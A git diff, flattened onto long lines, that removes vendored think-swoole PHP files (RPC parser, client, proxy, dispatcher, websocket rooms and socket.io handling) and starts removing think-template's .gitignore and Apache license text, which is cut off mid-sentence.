@@ -getInterface(); - $methodName = $protocol->getMethod(); - - $method = $interface . self::DELIMITER . $methodName; - $data = [ - 'jsonrpc' => self::VERSION, - 'method' => $method, - 'params' => $protocol->getParams(), - 'id' => '', - ]; - - $string = json_encode($data, JSON_UNESCAPED_UNICODE); - - return $string; - } - - /** - * @param string $string - * - * @return Protocol - */ - public function decode(string $string): Protocol - { - $data = json_decode($string, true); - - $error = json_last_error(); - if ($error != JSON_ERROR_NONE) { - throw new Exception( - sprintf('Data(%s) is not json format!', $string) - ); - } - - $method = $data['method'] ?? ''; - $params = $data['params'] ?? []; - - if (empty($method)) { - throw new Exception( - sprintf('Method(%s) cant not be empty!', $string) - ); - } - - $methodAry = explode(self::DELIMITER, $method); - if (count($methodAry) < 2) { - throw new Exception( - sprintf('Method(%s) is bad format!', $method) - ); - } - - [$interfaceClass, $methodName] = $methodAry; - - if (empty($interfaceClass) || empty($methodName)) { - throw new Exception( - sprintf('Interface(%s) or Method(%s) can not be empty!', $interfaceClass, $method) - ); - } - - return Protocol::make($interfaceClass, $methodName, $params); - } - - /** - * @param string $string - * - * @return mixed - */ - public function decodeResponse(string $string) - { - $data = json_decode($string, true); - - if (array_key_exists('result', $data)) { - return $data['result']; - } - - $code = $data['error']['code'] ?? 0; - $message = $data['error']['message'] ?? ''; - $data = $data['error']['data'] ?? null; - - return Error::make($code, $message, $data); - } - - /** - * @param mixed $result - * - * @return string - */ - public function encodeResponse($result): string - { - $data = [ - 'jsonrpc' => self::VERSION, - ]; - - if ($result instanceof Error) { - $data['error'] = $result; - } else { - $data['result'] = $result; - } - - $string = json_encode($data); - - return $string; - } -} diff --git a/vendor/topthink/think-swoole/src/rpc/Packer.php b/vendor/topthink/think-swoole/src/rpc/Packer.php deleted file mode 100644 index a276b8c..0000000 --- a/vendor/topthink/think-swoole/src/rpc/Packer.php +++ /dev/null @@ -1,26 +0,0 @@ -interface = $interface; - $instance->method = $method; - $instance->params = $params; - - return $instance; - } - - /** - * @return string - */ - public function getInterface(): string - { - return $this->interface; - } - - /** - * @return string - */ - public function getMethod(): string - { - return $this->method; - } - - /** - * @return array - */ - public function getParams(): array - { - return $this->params; - } - -} diff --git a/vendor/topthink/think-swoole/src/rpc/client/Connector.php b/vendor/topthink/think-swoole/src/rpc/client/Connector.php deleted file mode 100644 index d0ed2dd..0000000 --- a/vendor/topthink/think-swoole/src/rpc/client/Connector.php +++ /dev/null @@ -1,14 +0,0 @@ -createDefaultConnector($connector); - } - $this->connector = $connector; - $this->parser = $parser; - } - - protected function encodeData(Protocol $protocol) - { - $params = $protocol->getParams(); - - //有文件,先传输 - foreach ($params as $index => $param) { - if ($param instanceof File) { - $handle = fopen($param->getPathname(), "rb"); - yield pack(Packer::HEADER_PACK, $param->getSize(), Packer::TYPE_FILE); - while (!feof($handle)) { - yield fread($handle, 8192); - } - fclose($handle); - $params[$index] = Protocol::FILE; - } - } - - $protocol = Protocol::make($protocol->getInterface(), $protocol->getMethod(), $params); - - $data = $this->parser->encode($protocol); - - yield Packer::pack($data); - } - - protected function decodeResponse($response) - { - [, $response] = Packer::unpack($response); - $result = $this->parser->decodeResponse($response); - - if ($result instanceof Error) { - throw new RpcResponseException($result); - } - - return $result; - } - - public function sendAndRecv(Protocol $protocol) - { - $response = $this->connector->sendAndRecv($this->encodeData($protocol)); - - return $this->decodeResponse($response); - } - - public function getServices() - { - $response = $this->connector->sendAndRecv(Packer::pack(Protocol::ACTION_INTERFACE)); - - return $this->decodeResponse($response); - } - - protected function createDefaultConnector($config) - { - $class = Coroutine::getCid() > -1 ? Coroutine\Client::class : Client::class; - - /** @var Client|Coroutine\Client $client */ - $client = new $class(SWOOLE_SOCK_TCP); - - $host = Arr::pull($config, 'host'); - $port = Arr::pull($config, 'port'); - $timeout = Arr::pull($config, 'timeout'); - - $client->set(array_merge($config, [ - 'open_length_check' => true, - 'package_length_type' => Packer::HEADER_PACK, - 'package_length_offset' => 0, - 'package_body_offset' => 8, - ])); - - if (!$client->connect($host, $port, $timeout)) { - throw new RuntimeException( - sprintf('Connect failed host=%s port=%d', $host, $port) - ); - } - - return new class($client) implements Connector { - protected $client; - - /** - * constructor. - * @param Client|Coroutine\Client $client - */ - public function __construct($client) - { - $this->client = $client; - } - - public function sendAndRecv($data) - { - if (!$data instanceof \Generator) { - $data = [$data]; - } - - foreach ($data as $string) { - if (!$this->client->send($string)) { - throw new RpcClientException(swoole_strerror($this->client->errCode), $this->client->errCode); - } - } - - $response = $this->client->recv(); - - if ($response === false || empty($response)) { - throw new RpcClientException(swoole_strerror($this->client->errCode), $this->client->errCode); - } - - return $response; - } - }; - } - -} diff --git a/vendor/topthink/think-swoole/src/rpc/client/Proxy.php b/vendor/topthink/think-swoole/src/rpc/client/Proxy.php deleted file mode 100644 index 66d2a1b..0000000 --- a/vendor/topthink/think-swoole/src/rpc/client/Proxy.php +++ /dev/null @@ -1,69 +0,0 @@ -gateway = $gateway; - } - - final protected function proxyCall($method, $params) - { - $protocol = Protocol::make($this->interface, $method, $params); - - return $this->gateway->sendAndRecv($protocol); - } - - final public static function getClassName($client, $interface) - { - if (!interface_exists($interface)) { - throw new InvalidArgumentException( - sprintf('%s must be exist interface!', $interface) - ); - } - - $proxyName = class_basename($interface) . "Service"; - $className = "rpc\\service\\{$client}\\{$proxyName}"; - - if (!class_exists($className, false)) { - - $namespace = new PhpNamespace("rpc\\service\\{$client}"); - $namespace->addUse(Proxy::class); - $namespace->addUse($interface); - - $class = $namespace->addClass($proxyName); - - $class->setExtends(Proxy::class); - $class->addImplement($interface); - $class->addProperty('interface', class_basename($interface)); - - $reflection = new ReflectionClass($interface); - - foreach ($reflection->getMethods() as $methodRef) { - $method = (new Factory)->fromMethodReflection($methodRef); - $body = "\$this->proxyCall('{$methodRef->getName()}', func_get_args());"; - if ($method->getReturnType() != 'void') { - $body = "return {$body}"; - } - $method->setBody($body); - $class->addMember($method); - } - - eval($namespace); - } - return $className; - } -} diff --git a/vendor/topthink/think-swoole/src/rpc/server/Channel.php b/vendor/topthink/think-swoole/src/rpc/server/Channel.php deleted file mode 100644 index 9166dd5..0000000 --- a/vendor/topthink/think-swoole/src/rpc/server/Channel.php +++ /dev/null @@ -1,56 +0,0 @@ -header = $header; - $this->queue = new Coroutine\Channel(1); - - Coroutine::create(function () use ($header) { - switch ($header['type']) { - case Packer::TYPE_BUFFER: - $type = Buffer::class; - break; - case Packer::TYPE_FILE: - $type = File::class; - break; - default: - throw new \RuntimeException('not support data type'); - } - - $handle = new $type($header['length']); - $this->queue->push($handle); - }); - } - - /** - * @return File|Buffer - */ - public function pop() - { - return $this->queue->pop(); - } - - public function push($handle) - { - return $this->queue->push($handle); - } - - public function close() - { - return $this->queue->close(); - } - -} diff --git a/vendor/topthink/think-swoole/src/rpc/server/Dispatcher.php b/vendor/topthink/think-swoole/src/rpc/server/Dispatcher.php deleted file mode 100644 index bf2607d..0000000 --- a/vendor/topthink/think-swoole/src/rpc/server/Dispatcher.php +++ /dev/null @@ -1,186 +0,0 @@ -app = $app; - $this->parser = $parser; - $this->server = $server; - $this->prepareServices($services); - } - - /** - * 获取服务接口 - * @param $services - * @throws \ReflectionException - */ - protected function prepareServices($services) - { - foreach ($services as $className) { - $reflectionClass = new ReflectionClass($className); - $interfaces = $reflectionClass->getInterfaceNames(); - - foreach ($interfaces as $interface) { - $this->services[class_basename($interface)] = [ - 'interface' => $interface, - 'class' => $className, - ]; - } - } - } - - /** - * 获取接口信息 - * @return array - */ - protected function getInterfaces() - { - $interfaces = []; - foreach ($this->services as $key => ['interface' => $interface]) { - $interfaces[$key] = $this->getMethods($interface); - } - return $interfaces; - } - - protected function getMethods($interface) - { - $methods = []; - - $reflection = new ReflectionClass($interface); - foreach ($reflection->getMethods(ReflectionMethod::IS_PUBLIC) as $method) { - $returnType = $method->getReturnType(); - if ($returnType instanceof ReflectionNamedType) { - $returnType = $returnType->getName(); - } - $methods[$method->getName()] = [ - 'parameters' => $this->getParameters($method), - 'returnType' => $returnType, - 'comment' => $method->getDocComment(), - ]; - } - return $methods; - } - - protected function getParameters(ReflectionMethod $method) - { - $parameters = []; - foreach ($method->getParameters() as $parameter) { - $type = $parameter->getType(); - if ($type instanceof ReflectionNamedType) { - $type = $type->getName(); - } - $param = [ - 'name' => $parameter->getName(), - 'type' => $type, - ]; - - if ($parameter->isOptional()) { - $param['default'] = $parameter->getDefaultValue(); - } - - $parameters[] = $param; - } - return $parameters; - } - - /** - * 调度 - * @param int $fd - * @param string|File $data - */ - public function dispatch(int $fd, $data) - { - if ($data instanceof File) { - $this->files[$fd][] = $data; - } else { - try { - if ($data === Protocol::ACTION_INTERFACE) { - $result = $this->getInterfaces(); - } else { - $protocol = $this->parser->decode($data); - - $interface = $protocol->getInterface(); - $method = $protocol->getMethod(); - $params = $protocol->getParams(); - - //文件参数 - foreach ($params as $index => $param) { - if ($param === Protocol::FILE) { - $params[$index] = array_shift($this->files[$fd]); - } - } - - $service = $this->services[$interface] ?? null; - if (empty($service)) { - throw new Exception( - sprintf('Service %s is not founded!', $interface), - self::INVALID_REQUEST - ); - } - - $result = $this->app->invoke([$this->app->make($service['class']), $method], $params); - } - } catch (Throwable | Exception $e) { - $result = Error::make($e->getCode(), $e->getMessage()); - } - - $data = $this->parser->encodeResponse($result); - - $this->server->send($fd, Packer::pack($data)); - //清空文件缓存 - unset($this->files[$fd]); - } - } - -} diff --git a/vendor/topthink/think-swoole/src/rpc/server/channel/Buffer.php b/vendor/topthink/think-swoole/src/rpc/server/channel/Buffer.php deleted file mode 100644 index 39f9e7d..0000000 --- a/vendor/topthink/think-swoole/src/rpc/server/channel/Buffer.php +++ /dev/null @@ -1,30 +0,0 @@ -length = $length; - } - - public function write(&$data) - { - $size = strlen($this->data); - $string = substr($data, 0, $this->length - $size); - - $this->data .= $string; - - if (strlen($data) >= $this->length - $size) { - $data = substr($data, $this->length - $size); - - return $this->data; - } else { - $data = ''; - } - } -} diff --git a/vendor/topthink/think-swoole/src/rpc/server/channel/File.php b/vendor/topthink/think-swoole/src/rpc/server/channel/File.php deleted file mode 100644 index 5b87f43..0000000 --- a/vendor/topthink/think-swoole/src/rpc/server/channel/File.php +++ /dev/null @@ -1,34 +0,0 @@ -name = tempnam(sys_get_temp_dir(), "swoole_rpc_"); - $this->handle = fopen($this->name, 'ab'); - $this->length = $length; - } - - public function write(&$data) - { - $size = fstat($this->handle)['size']; - $string = substr($data, 0, $this->length - $size); - - fwrite($this->handle, $string); - - if (strlen($data) >= $this->length - $size) { - fclose($this->handle); - $data = substr($data, $this->length - $size); - - return new \think\swoole\rpc\File($this->name); - } else { - $data = ''; - } - } -} diff --git a/vendor/topthink/think-swoole/src/websocket/Pusher.php b/vendor/topthink/think-swoole/src/websocket/Pusher.php deleted file mode 100644 index d16c972..0000000 --- a/vendor/topthink/think-swoole/src/websocket/Pusher.php +++ /dev/null @@ -1,202 +0,0 @@ -sender = $sender; - $this->descriptors = $descriptors; - $this->broadcast = $broadcast; - $this->assigned = $assigned; - $this->payload = $payload; - $this->server = $server; - } - - /** - * @return int - */ - public function getSender(): int - { - return $this->sender; - } - - /** - * @return array - */ - public function getDescriptors(): array - { - return $this->descriptors; - } - - /** - * @param int $descriptor - * - * @return self - */ - public function addDescriptor($descriptor): self - { - return $this->addDescriptors([$descriptor]); - } - - /** - * @param array $descriptors - * - * @return self - */ - public function addDescriptors(array $descriptors): self - { - $this->descriptors = array_values( - array_unique( - array_merge($this->descriptors, $descriptors) - ) - ); - - return $this; - } - - /** - * @param int $descriptor - * - * @return bool - */ - public function hasDescriptor(int $descriptor): bool - { - return in_array($descriptor, $this->descriptors); - } - - /** - * @return bool - */ - public function isBroadcast(): bool - { - return $this->broadcast; - } - - /** - * @return bool - */ - public function isAssigned(): bool - { - return $this->assigned; - } - - /** - * @return string - */ - public function getPayload(): string - { - return $this->payload; - } - - /** - * @return bool - */ - public function shouldBroadcast(): bool - { - return $this->broadcast && empty($this->descriptors) && !$this->assigned; - } - - /** - * Returns all descriptors that are websocket - * - * @return array - */ - protected function getWebsocketConnections(): array - { - return array_filter(iterator_to_array($this->server->connections), function ($fd) { - return (bool) $this->server->getClientInfo($fd)['websocket_status'] ?? false; - }); - } - - /** - * @param int $fd - * - * @return bool - */ - protected function shouldPushToDescriptor(int $fd): bool - { - if (!$this->server->exist($fd)) { - return false; - } - - return $this->broadcast ? $this->sender !== (int) $fd : true; - } - - /** - * Push message to related descriptors - * @return void - */ - public function push(): void - { - // attach sender if not broadcast - if (!$this->broadcast && $this->sender && !$this->hasDescriptor($this->sender)) { - $this->addDescriptor($this->sender); - } - - // check if to broadcast to other clients - if ($this->shouldBroadcast()) { - $this->addDescriptors($this->getWebsocketConnections()); - } - - // push message to designated fds - foreach ($this->descriptors as $descriptor) { - if ($this->shouldPushToDescriptor($descriptor)) { - $this->server->push($descriptor, $this->payload); - } - } - } -} diff --git a/vendor/topthink/think-swoole/src/websocket/Room.php b/vendor/topthink/think-swoole/src/websocket/Room.php deleted file mode 100644 index ce005ac..0000000 --- a/vendor/topthink/think-swoole/src/websocket/Room.php +++ /dev/null @@ -1,30 +0,0 @@ -app->config->get("swoole.websocket.room.{$name}", []); - } - - /** - * 默认驱动 - * @return string|null - */ - public function getDefaultDriver() - { - return $this->app->config->get('swoole.websocket.room.type', 'table'); - } -} diff --git a/vendor/topthink/think-swoole/src/websocket/SimpleParser.php b/vendor/topthink/think-swoole/src/websocket/SimpleParser.php deleted file mode 100644 index 2d219b5..0000000 --- a/vendor/topthink/think-swoole/src/websocket/SimpleParser.php +++ /dev/null @@ -1,46 +0,0 @@ - $event, - 'data' => $data, - ] - ); - } - - /** - * Input message on websocket connected. - * Define and return event name and payload data here. - * - * @param Frame $frame - * - * @return array - */ - public function decode($frame) - { - $data = json_decode($frame->data, true); - - return [ - 'event' => $data['event'] ?? null, - 'data' => $data['data'] ?? null, - ]; - } -} diff --git a/vendor/topthink/think-swoole/src/websocket/middleware/SessionInit.php b/vendor/topthink/think-swoole/src/websocket/middleware/SessionInit.php deleted file mode 100644 index b57597d..0000000 --- a/vendor/topthink/think-swoole/src/websocket/middleware/SessionInit.php +++ /dev/null @@ -1,54 +0,0 @@ -app = $app; - $this->session = $session; - } - - /** - * Session初始化 - * @access public - * @param Request $request - * @param Closure $next - * @return Response - */ - public function handle($request, Closure $next) - { - // Session初始化 - $varSessionId = $this->app->config->get('session.var_session_id'); - $cookieName = $this->session->getName(); - - if ($varSessionId && $request->request($varSessionId)) { - $sessionId = $request->request($varSessionId); - } else { - $sessionId = $request->cookie($cookieName); - } - - if ($sessionId) { - $this->session->setId($sessionId); - } - - $this->session->init(); - - $request->withSession($this->session); - - return $next($request); - } -} diff --git a/vendor/topthink/think-swoole/src/websocket/room/Redis.php b/vendor/topthink/think-swoole/src/websocket/room/Redis.php deleted file mode 100644 index 13998ae..0000000 --- a/vendor/topthink/think-swoole/src/websocket/room/Redis.php +++ /dev/null @@ -1,250 +0,0 @@ -manager = $manager; - $this->config = $config; - - if ($prefix = Arr::get($this->config, 'prefix')) { - $this->prefix = $prefix; - } - } - - /** - * @return RoomInterface - */ - public function prepare(): RoomInterface - { - $this->initData(); - $this->prepareRedis(); - return $this; - } - - protected function prepareRedis() - { - $this->manager->onEvent('workerStart', function () { - $config = $this->config; - $this->pool = new ConnectionPool( - Pool::pullPoolConfig($config), - new PhpRedisConnector(), - $config - ); - $this->manager->getPools()->add("websocket.room", $this->pool); - }); - } - - protected function initData() - { - $connector = new PhpRedisConnector(); - - $connection = $connector->connect($this->config); - - if (count($keys = $connection->keys("{$this->prefix}*"))) { - $connection->del($keys); - } - - $connector->disconnect($connection); - } - - /** - * Add multiple socket fds to a room. - * - * @param int fd - * @param array|string rooms - */ - public function add(int $fd, $rooms) - { - $rooms = is_array($rooms) ? $rooms : [$rooms]; - - $this->addValue($fd, $rooms, RoomInterface::DESCRIPTORS_KEY); - - foreach ($rooms as $room) { - $this->addValue($room, [$fd], RoomInterface::ROOMS_KEY); - } - } - - /** - * Delete multiple socket fds from a room. - * - * @param int fd - * @param array|string rooms - */ - public function delete(int $fd, $rooms) - { - $rooms = is_array($rooms) ? $rooms : [$rooms]; - $rooms = count($rooms) ? $rooms : $this->getRooms($fd); - - $this->removeValue($fd, $rooms, RoomInterface::DESCRIPTORS_KEY); - - foreach ($rooms as $room) { - $this->removeValue($room, [$fd], RoomInterface::ROOMS_KEY); - } - } - - protected function runWithRedis(\Closure $callable) - { - $redis = $this->pool->borrow(); - try { - return $callable($redis); - } finally { - $this->pool->return($redis); - } - } - - /** - * Add value to redis. - * - * @param $key - * @param array $values - * @param string $table - * - * @return $this - */ - protected function addValue($key, array $values, string $table) - { - $this->checkTable($table); - $redisKey = $this->getKey($key, $table); - - $this->runWithRedis(function (PHPRedis $redis) use ($redisKey, $values) { - $pipe = $redis->multi(PHPRedis::PIPELINE); - - foreach ($values as $value) { - $pipe->sadd($redisKey, $value); - } - - $pipe->exec(); - }); - - return $this; - } - - /** - * Remove value from reddis. - * - * @param $key - * @param array $values - * @param string $table - * - * @return $this - */ - protected function removeValue($key, array $values, string $table) - { - $this->checkTable($table); - $redisKey = $this->getKey($key, $table); - - $this->runWithRedis(function (PHPRedis $redis) use ($redisKey, $values) { - $pipe = $redis->multi(PHPRedis::PIPELINE); - foreach ($values as $value) { - $pipe->srem($redisKey, $value); - } - $pipe->exec(); - }); - - return $this; - } - - /** - * Get all sockets by a room key. - * - * @param string room - * - * @return array - */ - public function getClients(string $room) - { - return $this->getValue($room, RoomInterface::ROOMS_KEY) ?? []; - } - - /** - * Get all rooms by a fd. - * - * @param int fd - * - * @return array - */ - public function getRooms(int $fd) - { - return $this->getValue($fd, RoomInterface::DESCRIPTORS_KEY) ?? []; - } - - /** - * Check table for rooms and descriptors. - * - * @param string $table - */ - protected function checkTable(string $table) - { - if (!in_array($table, [RoomInterface::ROOMS_KEY, RoomInterface::DESCRIPTORS_KEY])) { - throw new InvalidArgumentException("Invalid table name: `{$table}`."); - } - } - - /** - * Get value. - * - * @param string $key - * @param string $table - * - * @return array - */ - protected function getValue(string $key, string $table) - { - $this->checkTable($table); - - return $this->runWithRedis(function (PHPRedis $redis) use ($table, $key) { - return $redis->smembers($this->getKey($key, $table)); - }); - } - - /** - * Get key. - * - * @param string $key - * @param string $table - * - * @return string - */ - protected function getKey(string $key, string $table) - { - return "{$this->prefix}{$table}:{$key}"; - } - -} diff --git a/vendor/topthink/think-swoole/src/websocket/room/Table.php b/vendor/topthink/think-swoole/src/websocket/room/Table.php deleted file mode 100644 index 3294cca..0000000 --- a/vendor/topthink/think-swoole/src/websocket/room/Table.php +++ /dev/null @@ -1,220 +0,0 @@ - 4096, - 'room_size' => 2048, - 'client_rows' => 8192, - 'client_size' => 2048, - ]; - - /** - * @var SwooleTable - */ - protected $rooms; - - /** - * @var SwooleTable - */ - protected $fds; - - /** - * TableRoom constructor. - * - * @param array $config - */ - public function __construct(array $config) - { - $this->config = array_merge($this->config, $config); - } - - /** - * Do some init stuffs before workers started. - * - * @return RoomInterface - */ - public function prepare(): RoomInterface - { - $this->initRoomsTable(); - $this->initFdsTable(); - - return $this; - } - - /** - * Add multiple socket fds to a room. - * - * @param int fd - * @param array|string rooms - */ - public function add(int $fd, $roomNames) - { - $rooms = $this->getRooms($fd); - $roomNames = is_array($roomNames) ? $roomNames : [$roomNames]; - - foreach ($roomNames as $room) { - $fds = $this->getClients($room); - - if (in_array($fd, $fds)) { - continue; - } - - $fds[] = $fd; - $rooms[] = $room; - - $this->setClients($room, $fds); - } - - $this->setRooms($fd, $rooms); - } - - /** - * Delete multiple socket fds from a room. - * - * @param int fd - * @param array|string rooms - */ - public function delete(int $fd, $roomNames = []) - { - $allRooms = $this->getRooms($fd); - $roomNames = is_array($roomNames) ? $roomNames : [$roomNames]; - $rooms = count($roomNames) ? $roomNames : $allRooms; - - $removeRooms = []; - foreach ($rooms as $room) { - $fds = $this->getClients($room); - - if (!in_array($fd, $fds)) { - continue; - } - - $this->setClients($room, array_values(array_diff($fds, [$fd]))); - $removeRooms[] = $room; - } - - $this->setRooms($fd, collect($allRooms)->diff($removeRooms)->values()->toArray()); - } - - /** - * Get all sockets by a room key. - * - * @param string room - * - * @return array - */ - public function getClients(string $room) - { - return $this->getValue($room, RoomInterface::ROOMS_KEY) ?? []; - } - - /** - * Get all rooms by a fd. - * - * @param int fd - * - * @return array - */ - public function getRooms(int $fd) - { - return $this->getValue($fd, RoomInterface::DESCRIPTORS_KEY) ?? []; - } - - /** - * @param string $room - * @param array $fds - * - * @return $this - */ - protected function setClients(string $room, array $fds) - { - return $this->setValue($room, $fds, RoomInterface::ROOMS_KEY); - } - - /** - * @param int $fd - * @param array $rooms - * - * @return $this - */ - protected function setRooms(int $fd, array $rooms) - { - return $this->setValue($fd, $rooms, RoomInterface::DESCRIPTORS_KEY); - } - - /** - * Init rooms table - */ - protected function initRoomsTable(): void - { - $this->rooms = new SwooleTable($this->config['room_rows']); - $this->rooms->column('value', SwooleTable::TYPE_STRING, $this->config['room_size']); - $this->rooms->create(); - } - - /** - * Init descriptors table - */ - protected function initFdsTable() - { - $this->fds = new SwooleTable($this->config['client_rows']); - $this->fds->column('value', SwooleTable::TYPE_STRING, $this->config['client_size']); - $this->fds->create(); - } - - /** - * Set value to table - * - * @param $key - * @param array $value - * @param string $table - * - * @return $this - */ - public function setValue($key, array $value, string $table) - { - $this->checkTable($table); - - $this->$table->set($key, ['value' => json_encode($value)]); - - return $this; - } - - /** - * Get value from table - * - * @param string $key - * @param string $table - * - * @return array|mixed - */ - public function getValue(string $key, string $table) - { - $this->checkTable($table); - - $value = $this->$table->get($key); - - return $value ? json_decode($value['value'], true) : []; - } - - /** - * Check table for exists - * - * @param string $table - */ - protected function checkTable(string $table) - { - if (!property_exists($this, $table) || !$this->$table instanceof SwooleTable) { - throw new InvalidArgumentException("Invalid table name: `{$table}`."); - } - } -} diff --git a/vendor/topthink/think-swoole/src/websocket/socketio/Controller.php b/vendor/topthink/think-swoole/src/websocket/socketio/Controller.php deleted file mode 100644 index f244cc2..0000000 --- a/vendor/topthink/think-swoole/src/websocket/socketio/Controller.php +++ /dev/null @@ -1,54 +0,0 @@ -param('transport'), $this->transports)) { - return json( - [ - 'code' => 0, - 'message' => 'Transport unknown', - ], - 400 - ); - } - - if ($request->has('sid')) { - $response = response('1:6'); - } else { - $sid = base64_encode(uniqid()); - $payload = json_encode( - [ - 'sid' => $sid, - 'upgrades' => ['websocket'], - 'pingInterval' => $config->get('swoole.websocket.ping_interval'), - 'pingTimeout' => $config->get('swoole.websocket.ping_timeout'), - ] - ); - $cookie->set('io', $sid); - $response = response('97:0' . $payload . '2:40'); - } - - return $response->contentType('text/plain'); - } - - public function reject(Request $request) - { - return json( - [ - 'code' => 3, - 'message' => 'Bad request', - ], - 400 - ); - } -} diff --git a/vendor/topthink/think-swoole/src/websocket/socketio/Handler.php b/vendor/topthink/think-swoole/src/websocket/socketio/Handler.php deleted file mode 100644 index 546366b..0000000 --- a/vendor/topthink/think-swoole/src/websocket/socketio/Handler.php +++ /dev/null @@ -1,98 +0,0 @@ -server = $server; - $this->config = $config; - } - - /** - * "onOpen" listener. - * - * @param int $fd - * @param Request $request - */ - public function onOpen($fd, Request $request) - { - if (!$request->param('sid')) { - $payload = json_encode( - [ - 'sid' => base64_encode(uniqid()), - 'upgrades' => [], - 'pingInterval' => $this->config->get('swoole.websocket.ping_interval'), - 'pingTimeout' => $this->config->get('swoole.websocket.ping_timeout'), - ] - ); - $initPayload = Packet::OPEN . $payload; - $connectPayload = Packet::MESSAGE . Packet::CONNECT; - - $this->server->push($fd, $initPayload); - $this->server->push($fd, $connectPayload); - } - } - - /** - * "onMessage" listener. - * only triggered when event handler not found - * - * @param Frame $frame - * @return bool - */ - public function onMessage(Frame $frame) - { - $packet = $frame->data; - if (Packet::getPayload($packet)) { - return false; - } - - $this->checkHeartbeat($frame->fd, $packet); - - return true; - } - - /** - * "onClose" listener. - * - * @param int $fd - * @param int $reactorId - */ - public function onClose($fd, $reactorId) - { - return; - } - - protected function checkHeartbeat($fd, $packet) - { - $packetLength = strlen($packet); - $payload = ''; - - if ($isPing = Packet::isSocketType($packet, 'ping')) { - $payload .= Packet::PONG; - } - - if ($isPing && $packetLength > 1) { - $payload .= substr($packet, 1, $packetLength - 1); - } - - if ($isPing) { - $this->server->push($fd, $payload); - } - } -} diff --git a/vendor/topthink/think-swoole/src/websocket/socketio/Packet.php b/vendor/topthink/think-swoole/src/websocket/socketio/Packet.php deleted file mode 100644 index b3812bb..0000000 --- a/vendor/topthink/think-swoole/src/websocket/socketio/Packet.php +++ /dev/null @@ -1,171 +0,0 @@ - 'OPEN', - 1 => 'CLOSE', - 2 => 'PING', - 3 => 'PONG', - 4 => 'MESSAGE', - 5 => 'UPGRADE', - 6 => 'NOOP', - ]; - - /** - * Engine.io packet types. - */ - public static $engineTypes = [ - 0 => 'CONNECT', - 1 => 'DISCONNECT', - 2 => 'EVENT', - 3 => 'ACK', - 4 => 'ERROR', - 5 => 'BINARY_EVENT', - 6 => 'BINARY_ACK', - ]; - - /** - * Get socket packet type of a raw payload. - * - * @param string $packet - * - * @return int|null - */ - public static function getSocketType(string $packet) - { - $type = $packet[0] ?? null; - - if (!array_key_exists($type, static::$socketTypes)) { - return; - } - - return (int) $type; - } - - /** - * Get data packet from a raw payload. - * - * @param string $packet - * - * @return array|null - */ - public static function getPayload(string $packet) - { - $packet = trim($packet); - $start = strpos($packet, '['); - - if ($start === false || substr($packet, -1) !== ']') { - return; - } - - $data = substr($packet, $start, strlen($packet) - $start); - $data = json_decode($data, true); - - if (is_null($data)) { - return; - } - - return [ - 'event' => $data[0], - 'data' => $data[1] ?? null, - ]; - } - - /** - * Return if a socket packet belongs to specific type. - * - * @param $packet - * @param string $typeName - * - * @return bool - */ - public static function isSocketType($packet, string $typeName) - { - $type = array_search(strtoupper($typeName), static::$socketTypes); - - if ($type === false) { - return false; - } - - return static::getSocketType($packet) === $type; - } -} diff --git a/vendor/topthink/think-swoole/src/websocket/socketio/Parser.php b/vendor/topthink/think-swoole/src/websocket/socketio/Parser.php deleted file mode 100644 index 7e2d936..0000000 --- a/vendor/topthink/think-swoole/src/websocket/socketio/Parser.php +++ /dev/null @@ -1,45 +0,0 @@ -data); - - return [ - 'event' => $payload['event'] ?? null, - 'data' => $payload['data'] ?? null, - ]; - } -} diff --git a/vendor/topthink/think-template/.gitignore b/vendor/topthink/think-template/.gitignore deleted file mode 100644 index 485dee6..0000000 --- a/vendor/topthink/think-template/.gitignore +++ /dev/null @@ -1 +0,0 @@ -.idea diff --git a/vendor/topthink/think-template/LICENSE b/vendor/topthink/think-template/LICENSE deleted file mode 100644 index 8dada3e..0000000 --- a/vendor/topthink/think-template/LICENSE +++ /dev/null @@ -1,201 +0,0 @@ - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory 